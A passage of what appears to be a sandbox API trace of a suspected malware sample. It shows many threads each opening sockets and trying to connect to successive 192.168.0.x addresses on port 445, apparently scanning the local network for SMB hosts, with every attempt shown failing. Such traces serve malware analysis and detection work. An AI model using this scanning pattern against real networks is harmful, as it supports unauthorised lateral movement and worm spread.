CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c0 [0148.533] Sleep (dwMilliseconds=0x32) [0148.612] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0148.612] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0148.612] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0148.612] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1470 [0148.615] Sleep (dwMilliseconds=0x32) Thread: id = 42 os_tid = 0x974 [0071.664] GetCurrentThreadId () returned 0x974 [0071.664] GetCurrentThreadId () returned 0x974 [0071.664] GetCurrentThreadId () returned 0x974 [0071.664] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x3c5fdf0 | out: lpWSAData=0x3c5fdf0) returned 0 [0071.664] socket (af=2, type=1, protocol=0) returned 0x324 [0071.664] inet_addr (cp="192.168.0.9") returned 0x900a8c0 [0071.664] htons (hostshort=0x1bd) returned 0xbd01 [0071.664] connect (s=0x324, name=0x3c5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.9"), namelen=16) returned -1 [0092.746] closesocket (s=0x324) returned 0 [0092.747] WSACleanup () returned 0 [0092.747] GetCurrentThreadId () returned 0x974 [0092.747] GetCurrentThreadId () returned 0x974 [0092.747] GetCurrentThreadId () returned 0x974 Thread: id = 43 os_tid = 0x984 [0071.698] GetCurrentThreadId () returned 0x984 [0071.698] GetCurrentThreadId () returned 0x984 [0071.698] GetCurrentThreadId () returned 0x984 [0071.698] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x3d9fdf0 | out: lpWSAData=0x3d9fdf0) returned 0 [0071.698] socket (af=2, type=1, protocol=0) returned 0x330 [0071.699] inet_addr (cp="192.168.0.1") returned 0x100a8c0 [0071.699] htons (hostshort=0x1bd) returned 0xbd01 [0071.699] connect (s=0x330, name=0x3d9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.1"), namelen=16) returned -1 [0092.841] closesocket (s=0x330) returned 0 [0092.841] WSACleanup () returned 0 [0092.841] GetCurrentThreadId () returned 0x984 [0092.841] GetCurrentThreadId () returned 0x984 [0092.841] GetCurrentThreadId () returned 0x984 Thread: id = 44 os_tid = 0x994 [0071.734] GetCurrentThreadId () returned 0x994 [0071.734] GetCurrentThreadId () returned 0x994 [0071.734] GetCurrentThreadId () returned 0x994 [0071.734] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x3edfdf0 | out: lpWSAData=0x3edfdf0) returned 0 [0071.734] socket (af=2, type=1, protocol=0) returned 0x340 [0071.734] inet_addr (cp="192.168.0.10") returned 0xa00a8c0 [0071.734] htons (hostshort=0x1bd) returned 0xbd01 [0071.734] connect (s=0x340, name=0x3edfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.10"), namelen=16) returned -1 [0092.841] closesocket (s=0x340) returned 0 [0092.841] WSACleanup () returned 0 [0092.841] GetCurrentThreadId () returned 0x994 [0092.842] GetCurrentThreadId () returned 0x994 [0092.842] GetCurrentThreadId () returned 0x994 Thread: id = 45 os_tid = 0x9a4 [0071.776] GetCurrentThreadId () returned 0x9a4 [0071.776] GetCurrentThreadId () returned 0x9a4 [0071.776] GetCurrentThreadId () returned 0x9a4 [0071.777] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x401fdf0 | out: lpWSAData=0x401fdf0) returned 0 [0071.777] socket (af=2, type=1, protocol=0) returned 0x350 [0071.777] inet_addr (cp="192.168.0.2") returned 0x200a8c0 [0071.777] htons (hostshort=0x1bd) returned 0xbd01 [0071.777] connect (s=0x350, name=0x401fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.2"), namelen=16) returned -1 [0093.200] closesocket (s=0x350) returned 0 [0093.200] WSACleanup () returned 0 [0093.200] GetCurrentThreadId () returned 0x9a4 [0093.200] GetCurrentThreadId () returned 0x9a4 [0093.200] GetCurrentThreadId () returned 0x9a4 Thread: id = 46 os_tid = 0x9b4 [0071.813] GetCurrentThreadId () returned 0x9b4 [0071.813] GetCurrentThreadId () returned 0x9b4 [0071.813] GetCurrentThreadId () returned 0x9b4 [0071.813] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x415fdf0 | out: lpWSAData=0x415fdf0) returned 0 [0071.813] socket (af=2, type=1, protocol=0) returned 0x360 [0071.813] inet_addr (cp="192.168.0.11") returned 0xb00a8c0 [0071.813] htons (hostshort=0x1bd) returned 0xbd01 [0071.813] connect (s=0x360, name=0x415fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.11"), namelen=16) returned -1 [0093.200] closesocket (s=0x360) returned 0 [0093.201] WSACleanup () returned 0 [0093.201] GetCurrentThreadId () returned 0x9b4 [0093.201] GetCurrentThreadId () returned 0x9b4 [0093.201] GetCurrentThreadId () returned 0x9b4 Thread: id = 47 os_tid = 0x9c4 [0071.859] GetCurrentThreadId () returned 0x9c4 [0071.859] GetCurrentThreadId () returned 0x9c4 [0071.859] GetCurrentThreadId () returned 0x9c4 [0071.859] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x429fdf0 | out: lpWSAData=0x429fdf0) returned 0 [0071.859] socket (af=2, type=1, protocol=0) returned 0x370 [0071.859] inet_addr (cp="192.168.0.3") returned 0x300a8c0 [0071.859] htons (hostshort=0x1bd) returned 0xbd01 [0071.859] connect (s=0x370, name=0x429fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.3"), namelen=16) returned -1 [0093.201] closesocket (s=0x370) returned 0 [0093.201] WSACleanup () returned 0 [0093.201] GetCurrentThreadId () returned 0x9c4 [0093.201] GetCurrentThreadId () returned 0x9c4 [0093.201] GetCurrentThreadId () returned 0x9c4 Thread: id = 48 os_tid = 0x9d4 [0071.906] GetCurrentThreadId () returned 0x9d4 [0071.906] GetCurrentThreadId () returned 0x9d4 [0071.906] GetCurrentThreadId () returned 0x9d4 [0071.906] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x43dfdf0 | out: lpWSAData=0x43dfdf0) returned 0 [0071.906] socket (af=2, type=1, protocol=0) returned 0x380 [0071.906] inet_addr (cp="192.168.0.12") returned 0xc00a8c0 [0071.906] htons (hostshort=0x1bd) returned 0xbd01 [0071.906] connect (s=0x380, name=0x43dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.12"), namelen=16) returned -1 [0093.201] closesocket (s=0x380) returned 0 [0093.202] WSACleanup () returned 0 [0093.202] GetCurrentThreadId () returned 0x9d4 [0093.202] GetCurrentThreadId () returned 0x9d4 [0093.202] GetCurrentThreadId () returned 0x9d4 Thread: id = 49 os_tid = 0x9e4 [0071.952] GetCurrentThreadId () returned 0x9e4 [0071.952] GetCurrentThreadId () returned 0x9e4 [0071.952] GetCurrentThreadId () returned 0x9e4 [0071.953] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x451fdf0 | out: lpWSAData=0x451fdf0) returned 0 [0071.953] socket (af=2, type=1, protocol=0) returned 0x390 [0071.953] inet_addr (cp="192.168.0.4") returned 0x400a8c0 [0071.953] htons (hostshort=0x1bd) returned 0xbd01 [0071.953] connect (s=0x390, name=0x451fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.4"), namelen=16) returned -1 [0093.202] closesocket (s=0x390) returned 0 [0093.202] WSACleanup () returned 0 [0093.202] GetCurrentThreadId () returned 0x9e4 [0093.202] GetCurrentThreadId () returned 0x9e4 [0093.202] GetCurrentThreadId () returned 0x9e4 Thread: id = 50 os_tid = 0x9f4 [0071.999] GetCurrentThreadId () returned 0x9f4 [0071.999] GetCurrentThreadId () returned 0x9f4 [0071.999] GetCurrentThreadId () returned 0x9f4 [0071.999] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x465fdf0 | out: lpWSAData=0x465fdf0) returned 0 [0071.999] socket (af=2, type=1, protocol=0) returned 0x3a0 [0072.001] inet_addr (cp="192.168.0.13") returned 0xd00a8c0 [0072.001] htons (hostshort=0x1bd) returned 0xbd01 [0072.001] connect (s=0x3a0, name=0x465fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.13"), namelen=16) returned -1 [0093.202] closesocket (s=0x3a0) returned 0 [0093.202] WSACleanup () returned 0 [0093.202] GetCurrentThreadId () returned 0x9f4 [0093.203] GetCurrentThreadId () returned 0x9f4 [0093.203] GetCurrentThreadId () returned 0x9f4 Thread: id = 51 os_tid = 0xa04 [0072.061] GetCurrentThreadId () returned 0xa04 [0072.061] GetCurrentThreadId () returned 0xa04 [0072.061] GetCurrentThreadId () returned 0xa04 [0072.061] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x479fdf0 | out: lpWSAData=0x479fdf0) returned 0 [0072.061] socket (af=2, type=1, protocol=0) returned 0x3b0 [0072.062] inet_addr (cp="192.168.0.5") returned 0x500a8c0 [0072.062] htons (hostshort=0x1bd) returned 0xbd01 [0072.062] connect (s=0x3b0, name=0x479fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.5"), namelen=16) returned -1 [0093.203] closesocket (s=0x3b0) returned 0 [0093.203] WSACleanup () returned 0 [0093.203] GetCurrentThreadId () returned 0xa04 [0093.203] GetCurrentThreadId () returned 0xa04 [0093.203] GetCurrentThreadId () returned 0xa04 Thread: id = 52 os_tid = 0xa14 [0072.109] GetCurrentThreadId () returned 0xa14 [0072.109] GetCurrentThreadId () returned 0xa14 [0072.109] GetCurrentThreadId () returned 0xa14 [0072.109] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x48dfdf0 | out: lpWSAData=0x48dfdf0) returned 0 [0072.109] socket (af=2, type=1, protocol=0) returned 0x3c4 [0072.109] inet_addr (cp="192.168.0.14") returned 0xe00a8c0 [0072.110] htons (hostshort=0x1bd) returned 0xbd01 [0072.110] connect (s=0x3c4, name=0x48dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.14"), namelen=16) returned -1 [0093.203] closesocket (s=0x3c4) returned 0 [0093.203] WSACleanup () returned 0 [0093.203] GetCurrentThreadId () returned 0xa14 [0093.203] GetCurrentThreadId () returned 0xa14 [0093.203] GetCurrentThreadId () returned 0xa14 Thread: id = 53 os_tid = 0xa24 [0072.155] GetCurrentThreadId () returned 0xa24 [0072.155] GetCurrentThreadId () returned 0xa24 [0072.155] GetCurrentThreadId () returned 0xa24 [0072.155] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x4a1fdf0 | out: lpWSAData=0x4a1fdf0) returned 0 [0072.155] socket (af=2, type=1, protocol=0) returned 0x3d0 [0072.156] inet_addr (cp="192.168.0.6") returned 0x600a8c0 [0072.156] htons (hostshort=0x1bd) returned 0xbd01 [0072.156] connect (s=0x3d0, name=0x4a1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.6"), namelen=16) returned -1 [0093.309] closesocket (s=0x3d0) returned 0 [0093.309] WSACleanup () returned 0 [0093.309] GetCurrentThreadId () returned 0xa24 [0093.309] GetCurrentThreadId () returned 0xa24 [0093.309] GetCurrentThreadId () returned 0xa24 Thread: id = 54 os_tid = 0xa34 [0072.204] GetCurrentThreadId () returned 0xa34 [0072.204] GetCurrentThreadId () returned 0xa34 [0072.204] GetCurrentThreadId () returned 0xa34 [0072.204] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x4b5fdf0 | out: lpWSAData=0x4b5fdf0) returned 0 [0072.204] socket (af=2, type=1, protocol=0) returned 0x3e0 [0072.205] inet_addr (cp="192.168.0.15") returned 0xf00a8c0 [0072.205] htons (hostshort=0x1bd) returned 0xbd01 [0072.205] connect (s=0x3e0, name=0x4b5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.15"), namelen=16) returned -1 [0093.310] closesocket (s=0x3e0) returned 0 [0093.310] WSACleanup () returned 0 [0093.310] GetCurrentThreadId () returned 0xa34 [0093.310] GetCurrentThreadId () returned 0xa34 [0093.310] GetCurrentThreadId () returned 0xa34 Thread: id = 55 os_tid = 0xa44 [0072.249] GetCurrentThreadId () returned 0xa44 [0072.249] GetCurrentThreadId () returned 0xa44 [0072.249] GetCurrentThreadId () returned 0xa44 [0072.249] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x4c9fdf0 | out: lpWSAData=0x4c9fdf0) returned 0 [0072.249] socket (af=2, type=1, protocol=0) returned 0x3f0 [0072.249] inet_addr (cp="192.168.0.7") returned 0x700a8c0 [0072.249] htons (hostshort=0x1bd) returned 0xbd01 [0072.249] connect (s=0x3f0, name=0x4c9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.7"), namelen=16) returned -1 [0093.310] closesocket (s=0x3f0) returned 0 [0093.310] WSACleanup () returned 0 [0093.310] GetCurrentThreadId () returned 0xa44 [0093.310] GetCurrentThreadId () returned 0xa44 [0093.310] GetCurrentThreadId () returned 0xa44 Thread: id = 56 os_tid = 0xa54 [0072.295] GetCurrentThreadId () returned 0xa54 [0072.295] GetCurrentThreadId () returned 0xa54 [0072.295] GetCurrentThreadId () returned 0xa54 [0072.295] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x4ddfdf0 | out: lpWSAData=0x4ddfdf0) returned 0 [0072.295] socket (af=2, type=1, protocol=0) returned 0x404 [0072.296] inet_addr (cp="192.168.0.16") returned 0x1000a8c0 [0072.296] htons (hostshort=0x1bd) returned 0xbd01 [0072.296] connect (s=0x404, name=0x4ddfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.16"), namelen=16) returned -1 [0093.512] closesocket (s=0x404) returned 0 [0093.512] WSACleanup () returned 0 [0093.512] GetCurrentThreadId () returned 0xa54 [0093.512] GetCurrentThreadId () returned 0xa54 [0093.512] GetCurrentThreadId () returned 0xa54 Thread: id = 57 os_tid = 0xa64 [0072.330] GetCurrentThreadId () returned 0xa64 [0072.330] GetCurrentThreadId () returned 0xa64 [0072.330] GetCurrentThreadId () returned 0xa64 [0072.330] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x4f1fdf0 | out: lpWSAData=0x4f1fdf0) returned 0 [0072.330] socket (af=2, type=1, protocol=0) returned 0x414 [0072.331] inet_addr (cp="192.168.0.8") returned 0x800a8c0 [0072.331] htons (hostshort=0x1bd) returned 0xbd01 [0072.331] connect (s=0x414, name=0x4f1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.8"), namelen=16) returned -1 [0093.512] closesocket (s=0x414) returned 0 [0093.512] WSACleanup () returned 0 [0093.512] GetCurrentThreadId () returned 0xa64 [0093.513] GetCurrentThreadId () returned 0xa64 [0093.513] GetCurrentThreadId () returned 0xa64 Thread: id = 58 os_tid = 0xa74 [0072.373] GetCurrentThreadId () returned 0xa74 [0072.373] GetCurrentThreadId () returned 0xa74 [0072.373] GetCurrentThreadId () returned 0xa74 [0072.373] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x505fdf0 | out: lpWSAData=0x505fdf0) returned 0 [0072.373] socket (af=2, type=1, protocol=0) returned 0x424 [0072.374] inet_addr (cp="192.168.0.17") returned 0x1100a8c0 [0072.374] htons (hostshort=0x1bd) returned 0xbd01 [0072.374] connect (s=0x424, name=0x505fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.17"), namelen=16) returned -1 [0093.513] closesocket (s=0x424) returned 0 [0093.513] WSACleanup () returned 0 [0093.513] GetCurrentThreadId () returned 0xa74 [0093.513] GetCurrentThreadId () returned 0xa74 [0093.513] GetCurrentThreadId () returned 0xa74 Thread: id = 59 os_tid = 0xa84 [0072.420] GetCurrentThreadId () returned 0xa84 [0072.420] GetCurrentThreadId () returned 0xa84 [0072.420] GetCurrentThreadId () returned 0xa84 [0072.420] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x519fdf0 | out: lpWSAData=0x519fdf0) returned 0 [0072.420] socket (af=2, type=1, protocol=0) returned 0x434 [0072.420] inet_addr (cp="192.168.0.9") returned 0x900a8c0 [0072.420] htons (hostshort=0x1bd) returned 0xbd01 [0072.420] connect (s=0x434, name=0x519fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.9"), namelen=16) returned -1 [0093.513] closesocket (s=0x434) returned 0 [0093.513] WSACleanup () returned 0 [0093.513] GetCurrentThreadId () returned 0xa84 [0093.513] GetCurrentThreadId () returned 0xa84 [0093.513] GetCurrentThreadId () returned 0xa84 Thread: id = 60 os_tid = 0xa94 [0072.467] GetCurrentThreadId () returned 0xa94 [0072.467] GetCurrentThreadId () returned 0xa94 [0072.467] GetCurrentThreadId () returned 0xa94 [0072.467] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x52dfdf0 | out: lpWSAData=0x52dfdf0) returned 0 [0072.467] socket (af=2, type=1, protocol=0) returned 0x444 [0072.468] inet_addr (cp="192.168.0.18") returned 0x1200a8c0 [0072.468] htons (hostshort=0x1bd) returned 0xbd01 [0072.468] connect (s=0x444, name=0x52dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.18"), namelen=16) returned -1 [0093.715] closesocket (s=0x444) returned 0 [0093.715] WSACleanup () returned 0 [0093.715] GetCurrentThreadId () returned 0xa94 [0093.715] GetCurrentThreadId () returned 0xa94 [0093.715] GetCurrentThreadId () returned 0xa94 Thread: id = 61 os_tid = 0xaa4 [0072.512] GetCurrentThreadId () returned 0xaa4 [0072.512] GetCurrentThreadId () returned 0xaa4 [0072.512] GetCurrentThreadId () returned 0xaa4 [0072.512] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x541fdf0 | out: lpWSAData=0x541fdf0) returned 0 [0072.512] socket (af=2, type=1, protocol=0) returned 0x454 [0072.512] inet_addr (cp="192.168.0.10") returned 0xa00a8c0 [0072.512] htons (hostshort=0x1bd) returned 0xbd01 [0072.512] connect (s=0x454, name=0x541fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.10"), namelen=16) returned -1 [0093.716] closesocket (s=0x454) returned 0 [0093.716] WSACleanup () returned 0 [0093.716] GetCurrentThreadId () returned 0xaa4 [0093.716] GetCurrentThreadId () returned 0xaa4 [0093.716] GetCurrentThreadId () returned 0xaa4 Thread: id = 62 os_tid = 0xab4 [0072.560] GetCurrentThreadId () returned 0xab4 [0072.561] GetCurrentThreadId () returned 0xab4 [0072.561] GetCurrentThreadId () returned 0xab4 [0072.561] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x555fdf0 | out: lpWSAData=0x555fdf0) returned 0 [0072.561] socket (af=2, type=1, protocol=0) returned 0x464 [0072.561] inet_addr (cp="192.168.0.19") returned 0x1300a8c0 [0072.561] htons (hostshort=0x1bd) returned 0xbd01 [0072.561] connect (s=0x464, name=0x555fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.19"), namelen=16) returned -1 [0093.717] closesocket (s=0x464) returned 0 [0093.717] WSACleanup () returned 0 [0093.717] GetCurrentThreadId () returned 0xab4 [0093.717] GetCurrentThreadId () returned 0xab4 [0093.717] GetCurrentThreadId () returned 0xab4 Thread: id = 63 os_tid = 0xac4 [0072.608] GetCurrentThreadId () returned 0xac4 [0072.608] GetCurrentThreadId () returned 0xac4 [0072.608] GetCurrentThreadId () returned 0xac4 [0072.608] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x569fdf0 | out: lpWSAData=0x569fdf0) returned 0 [0072.608] socket (af=2, type=1, protocol=0) returned 0x474 [0072.609] inet_addr (cp="192.168.0.11") returned 0xb00a8c0 [0072.609] htons (hostshort=0x1bd) returned 0xbd01 [0072.609] connect (s=0x474, name=0x569fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.11"), namelen=16) returned -1 [0093.718] closesocket (s=0x474) returned 0 [0093.718] WSACleanup () returned 0 [0093.718] GetCurrentThreadId () returned 0xac4 [0093.718] GetCurrentThreadId () returned 0xac4 [0093.718] GetCurrentThreadId () returned 0xac4 Thread: id = 64 os_tid = 0xad4 [0072.677] GetCurrentThreadId () returned 0xad4 [0072.677] GetCurrentThreadId () returned 0xad4 [0072.677] GetCurrentThreadId () returned 0xad4 [0072.677] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x57dfdf0 | out: lpWSAData=0x57dfdf0) returned 0 [0072.677] socket (af=2, type=1, protocol=0) returned 0x484 [0072.677] inet_addr (cp="192.168.0.20") returned 0x1400a8c0 [0072.677] htons (hostshort=0x1bd) returned 0xbd01 [0072.677] connect (s=0x484, name=0x57dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.20"), namelen=16) returned -1 [0093.808] closesocket (s=0x484) returned 0 [0093.808] WSACleanup () returned 0 [0093.808] GetCurrentThreadId () returned 0xad4 [0093.808] GetCurrentThreadId () returned 0xad4 [0093.808] GetCurrentThreadId () returned 0xad4 Thread: id = 65 os_tid = 0xae4 [0072.722] GetCurrentThreadId () returned 0xae4 [0072.722] GetCurrentThreadId () returned 0xae4 [0072.722] GetCurrentThreadId () returned 0xae4 [0072.722] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x591fdf0 | out: lpWSAData=0x591fdf0) returned 0 [0072.722] socket (af=2, type=1, protocol=0) returned 0x498 [0072.722] inet_addr (cp="192.168.0.12") returned 0xc00a8c0 [0072.723] htons (hostshort=0x1bd) returned 0xbd01 [0072.723] connect (s=0x498, name=0x591fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.12"), namelen=16) returned -1 [0093.809] closesocket (s=0x498) returned 0 [0093.809] WSACleanup () returned 0 [0093.809] GetCurrentThreadId () returned 0xae4 [0093.809] GetCurrentThreadId () returned 0xae4 [0093.809] GetCurrentThreadId () returned 0xae4 Thread: id = 66 os_tid = 0xaf4 [0072.763] GetCurrentThreadId () returned 0xaf4 [0072.763] GetCurrentThreadId () returned 0xaf4 [0072.763] GetCurrentThreadId () returned 0xaf4 [0072.763] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x5a5fdf0 | out: lpWSAData=0x5a5fdf0) returned 0 [0072.763] socket (af=2, type=1, protocol=0) returned 0x4a4 [0072.764] inet_addr (cp="192.168.0.21") returned 0x1500a8c0 [0072.764] htons (hostshort=0x1bd) returned 0xbd01 [0072.764] connect (s=0x4a4, name=0x5a5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.21"), namelen=16) returned -1 [0094.011] closesocket (s=0x4a4) returned 0 [0094.011] WSACleanup () returned 0 [0094.011] GetCurrentThreadId () returned 0xaf4 [0094.011] GetCurrentThreadId () returned 0xaf4 [0094.011] GetCurrentThreadId () returned 0xaf4 Thread: id = 67 os_tid = 0xb04 [0072.810] GetCurrentThreadId () returned 0xb04 [0072.810] GetCurrentThreadId () returned 0xb04 [0072.810] GetCurrentThreadId () returned 0xb04 [0072.810] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x5b9fdf0 | out: lpWSAData=0x5b9fdf0) returned 0 [0072.810] socket (af=2, type=1, protocol=0) returned 0x4b4 [0072.810] inet_addr (cp="192.168.0.13") returned 0xd00a8c0 [0072.810] htons (hostshort=0x1bd) returned 0xbd01 [0072.810] connect (s=0x4b4, name=0x5b9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.13"), namelen=16) returned -1 [0094.011] closesocket (s=0x4b4) returned 0 [0094.012] WSACleanup () returned 0 [0094.012] GetCurrentThreadId () returned 0xb04 [0094.012] GetCurrentThreadId () returned 0xb04 [0094.012] GetCurrentThreadId () returned 0xb04 Thread: id = 68 os_tid = 0xb14 [0072.857] GetCurrentThreadId () returned 0xb14 [0072.857] GetCurrentThreadId () returned 0xb14 [0072.857] GetCurrentThreadId () returned 0xb14 [0072.857] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x5cdfdf0 | out: lpWSAData=0x5cdfdf0) returned 0 [0072.857] socket (af=2, type=1, protocol=0) returned 0x4c4 [0072.857] inet_addr (cp="192.168.0.22") returned 0x1600a8c0 [0072.857] htons (hostshort=0x1bd) returned 0xbd01 [0072.857] connect (s=0x4c4, name=0x5cdfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.22"), namelen=16) returned -1 [0094.012] closesocket (s=0x4c4) returned 0 [0094.012] WSACleanup () returned 0 [0094.012] GetCurrentThreadId () returned 0xb14 [0094.012] GetCurrentThreadId () returned 0xb14 [0094.012] GetCurrentThreadId () returned 0xb14 Thread: id = 69 os_tid = 0xb28 [0072.951] GetCurrentThreadId () returned 0xb28 [0072.951] GetCurrentThreadId () returned 0xb28 [0072.951] GetCurrentThreadId () returned 0xb28 [0072.951] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x5e1fdf0 | out: lpWSAData=0x5e1fdf0) returned 0 [0072.951] socket (af=2, type=1, protocol=0) returned 0x4d4 [0072.951] inet_addr (cp="192.168.0.14") returned 0xe00a8c0 [0072.951] htons (hostshort=0x1bd) returned 0xbd01 [0072.951] connect (s=0x4d4, name=0x5e1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.14"), namelen=16) returned -1 [0094.278] closesocket (s=0x4d4) returned 0 [0094.279] WSACleanup () returned 0 [0094.279] GetCurrentThreadId () returned 0xb28 [0094.279] GetCurrentThreadId () returned 0xb28 [0094.279] GetCurrentThreadId () returned 0xb28 Thread: id = 70 os_tid = 0xb38 [0072.997] GetCurrentThreadId () returned 0xb38 [0072.997] GetCurrentThreadId () returned 0xb38 [0072.997] GetCurrentThreadId () returned 0xb38 [0072.997] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x5f5fdf0 | out: lpWSAData=0x5f5fdf0) returned 0 [0072.997] socket (af=2, type=1, protocol=0) returned 0x4e8 [0072.998] inet_addr (cp="192.168.0.23") returned 0x1700a8c0 [0072.998] htons (hostshort=0x1bd) returned 0xbd01 [0072.998] connect (s=0x4e8, name=0x5f5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.23"), namelen=16) returned -1 [0094.279] closesocket (s=0x4e8) returned 0 [0094.279] WSACleanup () returned 0 [0094.279] GetCurrentThreadId () returned 0xb38 [0094.279] GetCurrentThreadId () returned 0xb38 [0094.279] GetCurrentThreadId () returned 0xb38 Thread: id = 71 os_tid = 0xb48 [0072.998] GetCurrentThreadId () returned 0xb48 [0072.998] GetCurrentThreadId () returned 0xb48 [0072.999] GetCurrentThreadId () returned 0xb48 [0072.999] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x609fdf0 | out: lpWSAData=0x609fdf0) returned 0 [0072.999] socket (af=2, type=1, protocol=0) returned 0x4f4 [0072.999] inet_addr (cp="192.168.0.15") returned 0xf00a8c0 [0072.999] htons (hostshort=0x1bd) returned 0xbd01 [0072.999] connect (s=0x4f4, name=0x609fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.15"), namelen=16) returned -1 [0094.279] closesocket (s=0x4f4) returned 0 [0094.280] WSACleanup () returned 0 [0094.280] GetCurrentThreadId () returned 0xb48 [0094.280] GetCurrentThreadId () returned 0xb48 [0094.280] GetCurrentThreadId () returned 0xb48 Thread: id = 72 os_tid = 0xb58 [0073.106] GetCurrentThreadId () returned 0xb58 [0073.106] GetCurrentThreadId () returned 0xb58 [0073.106] GetCurrentThreadId () returned 0xb58 [0073.107] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x61dfdf0 | out: lpWSAData=0x61dfdf0) returned 0 [0073.107] socket (af=2, type=1, protocol=0) returned 0x508 [0073.107] inet_addr (cp="192.168.0.24") returned 0x1800a8c0 [0073.107] htons (hostshort=0x1bd) returned 0xbd01 [0073.107] connect (s=0x508, name=0x61dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.24"), namelen=16) returned -1 [0094.280] closesocket (s=0x508) returned 0 [0094.280] WSACleanup () returned 0 [0094.280] GetCurrentThreadId () returned 0xb58 [0094.280] GetCurrentThreadId () returned 0xb58 [0094.280] GetCurrentThreadId () returned 0xb58 Thread: id = 73 os_tid = 0xb68 [0073.108] GetCurrentThreadId () returned 0xb68 [0073.108] GetCurrentThreadId () returned 0xb68 [0073.108] GetCurrentThreadId () returned 0xb68 [0073.108] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x631fdf0 | out: lpWSAData=0x631fdf0) returned 0 [0073.108] socket (af=2, type=1, protocol=0) returned 0x514 [0073.108] inet_addr (cp="192.168.0.16") returned 0x1000a8c0 [0073.108] htons (hostshort=0x1bd) returned 0xbd01 [0073.108] connect (s=0x514, name=0x631fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.16"), namelen=16) returned -1 [0094.280] closesocket (s=0x514) returned 0 [0094.280] WSACleanup () returned 0 [0094.280] GetCurrentThreadId () returned 0xb68 [0094.280] GetCurrentThreadId () returned 0xb68 [0094.281] GetCurrentThreadId () returned 0xb68 Thread: id = 74 os_tid = 0xb6c [0073.201] GetCurrentThreadId () returned 0xb6c [0073.201] GetCurrentThreadId () returned 0xb6c [0073.201] GetCurrentThreadId () returned 0xb6c [0073.201] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x645fdf0 | out: lpWSAData=0x645fdf0) returned 0 [0073.201] socket (af=2, type=1, protocol=0) returned 0x528 [0073.202] inet_addr (cp="192.168.0.25") returned 0x1900a8c0 [0073.202] htons (hostshort=0x1bd) returned 0xbd01 [0073.202] connect (s=0x528, name=0x645fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.25"), namelen=16) returned -1 [0094.369] closesocket (s=0x528) returned 0 [0094.369] WSACleanup () returned 